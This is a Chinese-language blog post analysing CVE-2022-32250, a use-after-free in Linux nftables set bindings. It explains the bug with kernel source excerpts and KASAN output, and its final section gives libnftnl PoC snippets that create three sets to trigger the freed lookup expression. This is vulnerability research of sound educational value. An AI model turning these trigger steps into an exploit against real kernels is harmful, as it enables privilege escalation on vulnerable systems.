Nftables漏洞原理分析(CVE-2022-32250)

news2025/1/12 20:08:15

前言

nftales中存在着集合(sets),用于存储唯一值的集合。sets 提供了高效地检查一个元素是否存在于集合中的机制,它可以用于各种网络过滤和转发规则。

CVE-2022-32250漏洞则是由于nftables在处理set时存在uaf的漏洞。

环境搭建

ubuntu20 + QEMU-4.2.1 + Linux-5.15

.config文件

CONFIG_NF_TABLES=y
CONFIG_NETFILTER_NETLINK=y
CONFIG_E1000=y
CONFIG_E1000E=y
CONFIG_USER_NS=y,开启命名空间

开启KASANmake menuconfig --> Kernel hacking -->Memory Debugging --> KASAN

image-20240302114337021

ubuntu20直接安装的libnftnl版本太低,因此需要去https://www.netfilter.org/projects/libnftnl/index.html中下载

./configure --prefix=/usr && make
sudo make install

漏洞验证

poc:https://seclists.org/oss-sec/2022/q2/159

在运行poc时,KASAN检测出存在uaf漏洞

image-20240302114613205

漏洞原理

KASAN给出的信息可知,该漏洞与set有关,因此从set的创建到使用进行源码分析。

nf_tables_newset内首先需要校验集合名、所属的表、集合键值的长度以及集合的ID是否被设置,若这些条件不具备则直接返回。

File: linux-5.15\net\netfilter\nf_tables_api.c
4205: static int nf_tables_newset(struct sk_buff *skb, const struct nfnl_info *info,
4206: 			    const struct nlattr * const nla[])
4207: {
    	...
        //判断创建set的必备条件是否具备
4227: 	if (nla[NFTA_SET_TABLE] == NULL ||
4228: 	    nla[NFTA_SET_NAME] == NULL ||
4229: 	    nla[NFTA_SET_KEY_LEN] == NULL ||
4230: 	    nla[NFTA_SET_ID] == NULL)
4231: 		return -EINVAL;
    	...

集合通过kvzalloc函数开辟空间

File: linux-5.15\net\netfilter\nf_tables_api.c
    ...
4369: 	set = kvzalloc(alloc_size, GFP_KERNEL);
4370: 	if (!set)
4371: 		return -ENOMEM;
	...

在成功创建集合后,就会进行初始化的过程,有一个变量需要重点关注,即set->bindings

File: linux-5.15\net\netfilter\nf_tables_api.c
    ...
    //对集合做初始化
4390: 	INIT_LIST_HEAD(&set->bindings);
4391: 	INIT_LIST_HEAD(&set->catchall_list);
4392: 	set->table = table;
4393: 	write_pnet(&set->net, net);
4394: 	set->ops = ops;
4395: 	set->ktype = ktype;
4396: 	set->klen = desc.klen;
4397: 	set->dtype = dtype;
4398: 	set->objtype = objtype;
4399: 	set->dlen = desc.dlen;
4400: 	set->flags = flags;
4401: 	set->size = desc.size;
4402: 	set->policy = policy;
4403: 	set->udlen = udlen;
4404: 	set->udata = udata;
4405: 	set->timeout = timeout;
4406: 	set->gc_int = gc_int;
	...

image-20240302153317949

当初始化完毕之后,会去判断创建集合时,该集合是否有需要创建的表达式。

File: linux-5.15\net\netfilter\nf_tables_api.c
	...
    	//判断是否有表达式需要创建
4416: 	if (nla[NFTA_SET_EXPR]) {
4417: 		expr = nft_set_elem_expr_alloc(&ctx, set, nla[NFTA_SET_EXPR]); //表达式的创建
4418: 		if (IS_ERR(expr)) {
4419: 			err = PTR_ERR(expr);
4420: 			goto err_set_expr_alloc;
4421: 		}
4422: 		set->exprs[0] = expr;
4423: 		set->num_exprs++;
	...

在代码[1]处会对表达式进行初始化,紧接着在代码[2]处会对表达式的标志位进行校验,当表达式的标志位不具备NFT_EXPR_STATEFUL属性,那么就会跳转到[3]中进行销毁表达式的处理,紧接着返回错误。这里似乎会存在问题,因为代表[1]与[2]是先创建表达式再检验,就会导致任意的表达式被创建。

File: linux-5.15\net\netfilter\nf_tables_api.c
5309: struct nft_expr *nft_set_elem_expr_alloc(const struct nft_ctx *ctx,
5310: 					 const struct nft_set *set,
5311: 					 const struct nlattr *attr)
5312: {
5313: 	struct nft_expr *expr;
5314: 	int err;
5315: 
5316: 	expr = nft_expr_init(ctx, attr); --->[1]
5317: 	if (IS_ERR(expr))
5318: 		return expr;
5319: 
5320: 	err = -EOPNOTSUPP;
5321: 	if (!(expr->ops->type->flags & NFT_EXPR_STATEFUL)) --->[2]
5322: 		goto err_set_elem_expr;
5323: 
	...
5334: err_set_elem_expr:
5335: 	nft_expr_destroy(ctx, expr); --->[3]
5336: 	return ERR_PTR(err);
5337: }

回顾KASAN的报告,发现该漏洞与表达式nft_lookup有关,因此接下来关注一下lookup表达式初始化的过程。

帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

image-20240302143631008

lookup表达式的结构体如下,可以看到在lookup结构体里存在着binding变量,是上面set会初始化的一个变量。

struct nft_lookup {
	struct nft_set			*set; //集合
	u8				sreg; //源寄存器
	u8				dreg; //目的寄存器
	bool				invert; 
	struct nft_set_binding		binding;
};

nft_set_bing结构体实则是维护了一个双链表。

struct nft_set_binding {
	struct list_head		list;
	const struct nft_chain		*chain;
	u32				flags;
};

nft_lookup_init函数负责初始化lookup表达式,可以看到需要set与源寄存器都存在的情况下才能够完成创建。

File: linux-5.15\net\netfilter\nft_lookup.c
095: static int nft_lookup_init(const struct nft_ctx *ctx,
096: 			   const struct nft_expr *expr,
097: 			   const struct nlattr * const tb[])
098: {
    ...
        //检测set与源寄存器的值
105: 	if (tb[NFTA_LOOKUP_SET] == NULL ||
106: 	    tb[NFTA_LOOKUP_SREG] == NULL)
107: 		return -EINVAL;
    ...

紧接着检索需要搜索的set

File: linux-5.15\net\netfilter\nft_lookup.c
		...
109: 	set = nft_set_lookup_global(ctx->net, ctx->table, tb[NFTA_LOOKUP_SET],
110: 				    tb[NFTA_LOOKUP_SET_ID], genmask);
111: 	if (IS_ERR(set))
112: 		return PTR_ERR(set);
		...

最后在完成了set的搜索后,就会进行一个绑定操作,会将表达式的binging接入的setbinding

File: linux-5.15\net\netfilter\nft_lookup.c
	...
148: 	err = nf_tables_bind_set(ctx, set, &priv->binding);
149: 	if (err < 0)
150: 		return err;
	...

首先在绑定之前会校验链表是否是匿名并且非空。

File: linux-5.15\net\netfilter\nf_tables_api.c
4606: int nf_tables_bind_set(const struct nft_ctx *ctx, struct nft_set *set,
4607: 		       struct nft_set_binding *binding)
4608: {
    	...
4615: 	if (!list_empty(&set->bindings) && nft_set_is_anonymous(set))
4616: 		return -EBUSY;
    	...

在通过上面的检测后,就会将当前表达式的加入到set中,

File: linux-5.15\net\netfilter\nf_tables_api.c
		...
4643: 	list_add_tail_rcu(&binding->list, &set->bindings);
		...

综上所述,bing的作用实则是维护相同set下的不同的表达式。具体流程如下。

set创建时,会初始化bindings指向自己本身。

image-20240302150148971

紧接着若有lookup表达式创建,并绑定上述的set时,因此通过setbingdings,可以检索在当前set上的所有expr

image-20240302150404136

image-20240302153434374

在上面说过创建表达式的过程中会检测表达式的标志位是否为NFT_EXPR_STATEFUL,如[2]所示

5321: 	if (!(expr->ops->type->flags & NFT_EXPR_STATEFUL)) --->[2]
5322: 		goto err_set_elem_expr;

在初始化lookup表达式时,是不会给flags设置值的,因此默认值即为0,因此在创建set的同时创建lookup表达式,lookup表达式的类型是默认为0,是无法绕过检测的。

struct nft_expr_type nft_lookup_type __read_mostly = {
	.name		= "lookup",
	.ops		= &nft_lookup_ops,
	.policy		= nft_lookup_policy,
	.maxattr	= NFTA_LOOKUP_MAX,
	.owner		= THIS_MODULE,
};

那么就会进入销毁表达式[3]

5334: err_set_elem_expr:
5335: 	nft_expr_destroy(ctx, expr); --->[3]
5336: 	return ERR_PTR(err);

nft_expr_destory函数内除了是否表达式外还会调用nf_tables_expr_destroy函数

File: linux-5.15\net\netfilter\nf_tables_api.c
2823: void nft_expr_destroy(const struct nft_ctx *ctx, struct nft_expr *expr)
2824: {
2825: 	nf_tables_expr_destroy(ctx, expr);
2826: 	kfree(expr);
2827: }

nf_tables_exor_destroy函数会调用表达式的destroy操作

File: linux-5.15\net\netfilter\nf_tables_api.c
2761: static void nf_tables_expr_destroy(const struct nft_ctx *ctx,
2762: 				   struct nft_expr *expr)
2763: {
2764: 	const struct nft_expr_type *type = expr->ops->type;
2765: 
2766: 	if (expr->ops->destroy)
2767: 		expr->ops->destroy(ctx, expr); //表达式的删除操作
2768: 	module_put(type->owner);
2769: }

nft_lookup_destroy函数内部调用了nf_tables_destroy_set函数

File: linux-5.15\net\netfilter\nft_lookup.c
173: static void nft_lookup_destroy(const struct nft_ctx *ctx,
174: 			       const struct nft_expr *expr)
175: {
176: 	struct nft_lookup *priv = nft_expr_priv(expr);
177: 
178: 	nf_tables_destroy_set(ctx, priv->set);
179: }

nf_tables_destroy_set函数内部中有一个简单的判断,若不成立那么实际上nf_tables_destroy_set不会做任何操作。那么就会造成一个漏洞,若我们创建的表达式lookup已经被绑定在set上,因此list_empty(&set->bindings0,那么就会导致destroy操作不会执行任何操作。就会将lookup表达式残留在set->bingdings中。

File: linux-5.15\net\netfilter\nf_tables_api.c
4683: void nf_tables_destroy_set(const struct nft_ctx *ctx, struct nft_set *set)
4684: {
4685: 	if (list_empty(&set->bindings) && nft_set_is_anonymous(set)) //判断`set->bingings是否为空,以及`set`是否匿名
4686: 		nft_set_destroy(ctx, set);
4687: }

由于lookup->destory不会执行任何操作,就会导致lookup表达式仍然残留在set->bingdings上,但是由于表达式的标志位不能通过校验,随后该表达式就会被释放。

image-20240302152404314

image-20240302153648468

POC分析

首先创建一个名为set_stableset,为后续创建lookup表达式做准备。

    set_name = "set_stable";
    nftnl_set_set_str(set_stable, NFTNL_SET_TABLE, table_name);
    nftnl_set_set_str(set_stable, NFTNL_SET_NAME, set_name);
    nftnl_set_set_u32(set_stable, NFTNL_SET_KEY_LEN, 1);
    nftnl_set_set_u32(set_stable, NFTNL_SET_FAMILY, family);
    nftnl_set_set_u32(set_stable, NFTNL_SET_ID, set_id++);

紧接着创建名为set_triggerset,并同时将标志位设置为NFT_SET_EXPR,那么就能在创建set的同时创建表达式,创建的表达式为lookup表达式,并且搜索的set的名为set_stable,这里需要注意的是,第一个创建的set是为了后续的lookup表达式提供搜索的set,而第二次的set是为了创建set的同时创建lookup表达式,因此第二个set的作用仅仅是为了创建lookup表达式。

    set_name = "set_trigger";
    nftnl_set_set_str(set_trigger, NFTNL_SET_TABLE, table_name);
    nftnl_set_set_str(set_trigger, NFTNL_SET_NAME, set_name);
    nftnl_set_set_u32(set_trigger, NFTNL_SET_FLAGS, NFT_SET_EXPR);
    nftnl_set_set_u32(set_trigger, NFTNL_SET_KEY_LEN, 1);
    nftnl_set_set_u32(set_trigger, NFTNL_SET_FAMILY, family);
    nftnl_set_set_u32(set_trigger, NFTNL_SET_ID, set_id);
    exprs[exprid] = nftnl_expr_alloc("lookup");
    nftnl_expr_set_str(exprs[exprid], NFTNL_EXPR_LOOKUP_SET, "set_stable");
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_LOOKUP_SREG, NFT_REG_1);
    // nest the expression into the set
    nftnl_set_add_expr(set_trigger, exprs[exprid]);

最后就是触发漏洞,第三次的set同样的也仅仅是为了创建lookup表达式,由于此时名为set_stableset->bingdings还存在着被释放掉的lookup表达式的指针,因此在第三次创建的时候就会将新创建的lookup表达式链接到上述已经被释放的lookup表达式中,从而导致的uaf漏洞。

    set_name = "set_uaf";
    nftnl_set_set_str(set_uaf, NFTNL_SET_TABLE, table_name);
    nftnl_set_set_str(set_uaf, NFTNL_SET_NAME, set_name);
    nftnl_set_set_u32(set_uaf, NFTNL_SET_FLAGS, NFT_SET_EXPR);
    nftnl_set_set_u32(set_uaf, NFTNL_SET_KEY_LEN, 1);
    nftnl_set_set_u32(set_uaf, NFTNL_SET_FAMILY, family);
    nftnl_set_set_u32(set_uaf, NFTNL_SET_ID, set_id);
    exprs[exprid] = nftnl_expr_alloc("lookup");
    nftnl_expr_set_str(exprs[exprid], NFTNL_EXPR_LOOKUP_SET, "set_stable");
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_LOOKUP_SREG, NFT_REG_1);

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1645134.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

透明加密软件选哪个好?选择时一定要注意以下三点

透明加密软件哪个好&#xff1f; 这是许多企事业单位在面临数据防泄漏问题时经常思考的问题。随着信息技术的发展&#xff0c;企业的数据安全变得越来越重要。透明加密技术作为一种有效的数据保护手段&#xff0c;被越来越多的企业所采用。然而&#xff0c;市场上的透明加密软…

项目实战 | 如何恰当的处理 Vue 路由权限

前言 哈喽&#xff0c;小伙伴你好&#xff0c;我是 嘟老板。最近接了一个成本千万级的前端项目运维工作&#xff0c;本着 知己知彼 的态度&#xff0c;我将整个前端的大致设计思路过了一遍。不看不知道&#xff0c;一看…吓一跳。光是 路由权限 这块儿的设计&#xff0c;都让我…

Q1保健品线上市场分析(一):护眼需求不减,叶黄素软糖卖爆!

如今网络时代的高速发展&#xff0c;用眼过度逐渐成为国人的常态&#xff0c;无论是儿童还是青少年、成年人、老年人&#xff0c;都可能面临眼部健康的问题。 在这样的大环境下&#xff0c;预防大于治疗的概念不断深入日常生活&#xff0c;进而推动了护眼产品市场的高速发展&a…

1W 3KVDC 隔离 稳压单输出 DC/DC 电源模块 ——TPV-SAR 系列

TPV-SAR系列产品是专门针对PCB上分布式电源系统中需要与输入电源隔离且输出精度要求较高的电源应用场合而设计。该产品适用于&#xff1b;1&#xff09;输入电源的电压变化≤5%&#xff1b;2&#xff09;输入输出之前要求隔离电压≥3000VDC&#xff1b;3&#xff09;对输出电压…

python学习笔记-01

python 在学习之前要了解的事项&#xff1a; 1.python缩进语法要求较为严格 2.是解释型语言 3.python2版本和python3版本不兼容 本系列笔记全部基于python3 1.hello world 安装好python之后&#xff0c;可以直接打开python&#xff0c;也可以通过cmd进入python。 print(&qu…

【如此简单!数据库入门系列】之存储设备简介

文章目录 1 前言2 存储设备分类3 主存层次结构4 磁盘结构5 RAID6 总结7 系列文章 1 前言 没有存储&#xff0c;就没有数据&#xff01; 如果说ER模型和数据库规范化是数据库概念模式的技术和方法&#xff0c;那么存储设备就是数据库物理模式的基础。 物理存储设备包含哪些类型…

河南大学大礼堂火灾事故引发安防监控对智能分析技术应用的思考

一、方案背景 2024年5月2日&#xff0c;在修缮施工期间的河南大学河南留学欧美预备学校旧址大礼堂发生火情。现场航拍画面显示&#xff0c;大礼堂经过火灾&#xff0c;房顶已经基本坍塌&#xff0c;被火烧过的建筑呈焦黑状。 公开资料显示&#xff0c;大礼堂属河南留学欧美预…

小程序激励广告视频多次回调问题

1.问题 2. 激励视频使用及解决方案 官方文档 let videoAd null; // 在页面中定义激励视频广告 Page({/*** 页面的初始数据*/data: {},/*** 生命周期函数--监听页面加载*/onLoad(options) {let that this;// 创建激励视频广告实例if (wx.createRewardedVideoAd) {videoAd w…

Docker镜像仓库-在私有镜像仓库推送或拉取镜像

推送镜像到私有仓库&#xff0c;要先让镜像打包 前缀为私有仓库地址的名字&#xff1a; 这里也是打包成功了:docker images 可以查看到 push推送镜像到镜像仓库: docker push 192.168.221.129:8080/nginx:1.0推送成功后在主机访问镜像仓库可以看到 这里已经有个镜像了。而且可…

从线索到成交:HubSpot全渠道销售流程的精准打磨

在当今数字化时代&#xff0c;企业面临着越来越复杂的市场环境和激烈的竞争压力。在这样的背景下&#xff0c;如何利用科技手段提升营销和销售效率&#xff0c;拓展客户获客渠道&#xff0c;成为了企业发展的关键之道。作为HubSpot合作伙伴&#xff0c;我们深谙全渠道营销与销售…

屏幕距离识别加语音提醒

效果 QQ录屏20240406131651 语音播放 import pygame pygame.mixer.init() #初始化 pygame.mixer.music.load(r"7359.wav") #文件位置 pygame.mixer.music.play(1) #播放语音 while pygame.mixer.music.get_busy(): # 在音频播放为完成之前不退出程序pass 完…

im即时通讯源码/仿微信app源码+php即时通讯源码带红包+客服+禁言等系统php+uniapp开发

即时通讯(IM)系统是现代互联网应用中不可或缺的一部分&#xff0c;它允许用户进行实时的文本、语音、视频交流。随着技术的发展&#xff0c;IM系统的功能越来越丰富&#xff0c;如红包、客服、禁言等。本文将探讨如何使用PHP语言开发一个功能完备的即时通讯系统&#xff0c;包括…

git commit 提交报错pre-commit hook failed (add --no-verify to bypass) 解决方法,亲测有效

问题截图 今天在执行 git commit 命令时报错&#xff1a;pre-commit hook failed (add --no-verify to bypass) 解决 参考文章&#xff1a;git commit报错&#xff1a;pre-commit hook failed的解决方法 具体原理什么的就不解释了&#xff0c;可以看看上面的参考文章 解决方…

《Fundamentals of Power Electronics》——脉宽调制器建模

下图给出了一个简单脉宽调制器电路的原理图。 脉宽调制器电路产生一个用于指令转换器功率管导通和关断的逻辑信号δ(t)。该逻辑信号δ(t)是周期性的&#xff0c;其频率为fs&#xff0c;占空比为d(t)。脉宽调制器的输入是一个模拟控制信号vc(t)。脉宽调制器的作用是产生一个与模…

开源!自制一个桌面宠物(STM32CUBEMX HAL库 PWM波 小项目)

原视频&#xff1a;好&#xff0c;自制一个桌面宠物&#xff01;_哔哩哔哩_bilibili 基础所需&#xff1a;基础电路认识&#xff0c;C语言&#xff0c;STM32开发&#xff0c;STM32CUBEIDE或CUBEMX和Keil使用&#xff08;重要&#xff09;&#xff0c;一点点艺术细胞、一点点耐…

前端之深拷贝

前提&#xff1a; 就是在实际开发中&#xff0c;我有一个编辑的弹窗&#xff0c;可以查看和编辑&#xff0c;因为弹窗里面是一个步骤条&#xff0c;点击下一步就要向对应的接口发送请求&#xff0c;考虑到就比如我点击下一步&#xff0c;此次表箱信息其实不需要修改&#xff0…

Linux —— 信号(2)

Linux —— 信号&#xff08;2&#xff09; 信号的序号kill系统调用不可被自定义的信号raiseabort 异常传递信号SIGFPESIGSEGV alarm传递信号 我们今天来接着了解信号&#xff1a; 信号的序号 我们来看看信号的序号&#xff1a; 信号的序号是从1开始&#xff0c;到31我们称这…

为什么要梯度累积

文章目录 梯度累积什么是梯度累积如何理解理解梯度累积梯度累积的工作原理 梯度累积的数学原理梯度累积过程如何实现梯度累积 梯度累积的可视化 梯度累积 什么是梯度累积 随着深度学习模型变得越来越复杂&#xff0c;模型的训练通常需要更多的计算资源&#xff0c;特别是在训…

【热门话题】ElementUI 快速入门指南

&#x1f308;个人主页: 鑫宝Code &#x1f525;热门专栏: 闲话杂谈&#xff5c; 炫酷HTML | JavaScript基础 ​&#x1f4ab;个人格言: "如无必要&#xff0c;勿增实体" 文章目录 ElementUI 快速入门指南环境准备安装 ElementUI创建 Vue 项目安装 ElementUI 基…

Android selinux权限

一.SE 概述 SELinux 是由美国NSA&#xff08;国安局&#xff09;和 SCC 开发的 Linux的一个扩张强制访问控制安全模块。原先是在Fluke上开发的&#xff0c;2000年以 GNU GPL 发布。从 fedora core 2开始&#xff0c; 2.6内核的版本都支持SELinux。 在 SELinux 出现之前&#…